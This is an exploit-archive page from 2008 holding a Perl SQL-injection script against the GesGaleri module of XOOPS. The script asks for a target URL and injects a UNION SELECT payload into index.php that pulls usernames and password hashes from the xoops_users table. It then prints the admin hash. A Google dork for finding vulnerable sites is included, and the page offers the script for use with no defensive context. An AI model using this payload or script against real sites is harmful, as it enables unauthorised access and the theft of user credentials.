Home / exploitsPDF  

xoopsgesgaleri-sql.txt

Posted on 18 October 2008

#!/usr/bin/perl -w #Xoops GesGaleri Sql injection# ######################################## #[~] Author : EcHoLL #[~] www.warezturk.org www.tahribat.com #[~] Greetz : Black_label TURK Godlike #[!] Module_Name: GesGaleri #[!] Script_Name: XOOPS #[!] Google_Dork: inurl:"/modules/GesGaleri/" ######################################## system("color FF0000"); system("Nohacking"); print " ------------------------------------------------------------- "; print " | Turkish Securtiy Team | "; print " ------------------------------------------------------------- "; print " |XOOPS Module GesGaleri(index.php kategorino)Remote SQL Injection Vuln| "; print " | Coded by: EcHoLL www.warezturk.org | "; print " ------------------------------------------------------------- "; use LWP::UserAgent; print " Site ismi Target page:[http://wwww.site.com/path/]: "; chomp(my $target=<STDIN>); $column_name="concat(uname,0x3a,pass)"; $table_name="xoops_users"; $b = LWP::UserAgent->new() or die "Could not initialize browser "; $b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)'); $host = $target . "/modules/GesGaleri/index.php?kategorino=5&no=15+union+select+1,2,".$column_name."+from/**/".$table_name."--"; $res = $b->request(HTTP::Request->new(GET=>$host)); $answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){ print " [+] Admin Hash : $1 "; print "# Tebrikler Exploit Calisti! # "; } else{print " [-] Exploit Bulunamadı... "; }

 

TOP